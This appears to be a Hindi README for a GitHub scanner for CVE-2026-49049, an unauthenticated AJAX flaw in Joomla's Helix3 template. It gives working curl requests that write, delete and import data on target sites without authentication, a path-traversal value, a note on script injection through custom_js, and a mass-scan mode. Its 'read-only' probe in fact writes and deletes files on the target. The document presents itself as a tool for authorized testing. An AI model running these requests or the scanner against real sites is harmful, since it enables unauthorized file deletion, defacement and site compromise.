
CVE-2026-49049 के लिए केवल-पठनीय भेद्यता स्कैनर — Helix3 Joomla प्लगइन का अनप्रमाणित AJAX हैंडलर
CVE-2026-49049 जूमला के Helix3 टेम्पलेट फ्रेमवर्क (संस्करण 1.0 से 3.1.0) को प्रभावित करता है। जूमला के com_ajax डिस्पैचर के माध्यम से पहुंच योग्य onAjaxHelix3 हैंडलर, कई विनाशकारी क्रियाओं पर कोई प्रमाणीकरण, प्राधिकरण, या CSRF सत्यापन नहीं करता:
| क्रिया | प्रभाव | किसमें उपलब्ध |
|---|---|---|
save | हमलावर-नियंत्रित JSON फ़ाइलें पाथ ट्रैवर्सल के साथ लिखता है | सभी संस्करण |
remove | मनमानी फ़ाइलें हटाता है — कोई एक्सटेंशन या पाथ प्रतिबंध नहीं | सभी संस्करण |
import | डेटाबेस में संग्रहीत टेम्पलेट पैरामीटर को अधिलेखित करता है | केवल v3.x |
नोट:
importक्रिया Helix3 v3.x में जोड़ी गई थी। v2.x चलाने वाली साइटें केवलsaveऔरremoveसे प्रभावित होती हैं।
यह भेद्यता Phil Taylor (mySites.guru) द्वारा खोजी गई थी और 29 जून, 2026 को प्रकाशित हुई।
| Helix3 संस्करण | save/remove | import |
|---|---|---|
| 1.0 – 2.x | असुरक्षित | उपलब्ध नहीं |
| 3.0 – 3.1.0 | असुरक्षित | असुरक्षित |
| 3.1.1+ | पैच किया गया | पैच किया गया |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Single target (domain or IP)
-f, --file File with targets, one per line
-o, --output Real-time text output (default: cve-2026-49049_scan.txt)
--json Structured JSON report (default: cve-2026-49049_report.json)
--threads Concurrent workers (default: 15)
--timeout HTTP timeout in seconds (default: 15)
-v, --verbose Show probe details
स्कैनर एक केवल-पढ़ने योग्य प्रोब करता है — यह बिना प्रमाणीकरण वाले save एंडपॉइंट के माध्यम से Helix3 लेआउट फ़ोल्डर में एक हानिरहित JSON फ़ाइल लिखता है, सत्यापित करता है कि वह लिखी गई थी, फिर remove एंडपॉइंट के माध्यम से उसे तुरंत हटा देता है। लक्ष्य पर कोई स्थायी परिवर्तन नहीं छोड़ा जाता।
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
स्कैनर इन्हीं सटीक एंडपॉइंट्स को प्रोब करता है। मैन्युअल सत्यापन के लिए:
चरण 1 — पुष्टि करें कि Helix3 स्थापित है
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
चरण 2 — save क्रिया का परीक्षण करें (बिना प्रमाणीकरण वाली फ़ाइल लेखन)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
चरण 3 — remove क्रिया का परीक्षण करें (बिना प्रमाणीकरण वाली फ़ाइल हटाना)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
चरण 4 — import क्रिया का परीक्षण करें (केवल v3.x, v2.x में उपलब्ध नहीं)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
Helix3 के 3.1.1 से पहले के संस्करणों में, plugins/ajax/helix3/helix3.php onAjaxHelix3() के माध्यम से अनुरोधों को बिना किसी सुरक्षा जांच के संसाधित करता है:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil इच्छित लेआउट निर्देशिका के बाहर फ़ाइलें लिखता हैsave के विपरीत (जो .json जोड़ता है), remove किसी भी फ़ाइल प्रकार को लक्षित कर सकता हैcustom_js को टेम्पलेट आउटपुट में बिना एस्केप किए प्रस्तुत किया जाता है, जिससे हर पेज पर स्क्रिप्ट इंजेक्शन संभव हो जाता है। यह वह वेक्टर है जिसका उपयोग वास्तविक दुनिया के विरूपण (defacement) हमलों में किया जाता है।केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ़्टवेयर सुरक्षा पेशेवरों के लिए है जो अधिकृत पेनिट्रेशन परीक्षण कर रहे हैं, संगठनों के लिए जो अपने स्वयं के बुनियादी ढांचे का ऑडिट कर रहे हैं, और शोधकर्ताओं के लिए जो भेद्यता शोषण का अध्ययन कर रहे हैं।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और निम्न का उल्लंघन कर सकती है:
- United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- European Union: Directive 2013/40/EU
- United Kingdom: Computer Misuse Act 1990
लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं। इस सॉफ़्टवेयर का उपयोग करके, आप अपने कार्यों की पूरी जिम्मेदारी स्वीकार करते हैं।
| संसाधन | लिंक |
|---|---|
| मूल परामर्श (mySites.guru) | Helix3 3.1.1 सुरक्षा सुधार |
| NVD प्रविष्टि | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 रिपॉजिटरी |
यह प्रोजेक्ट JoomShaper, Joomla, या Open Source Matters, Inc. से संबद्ध नहीं है।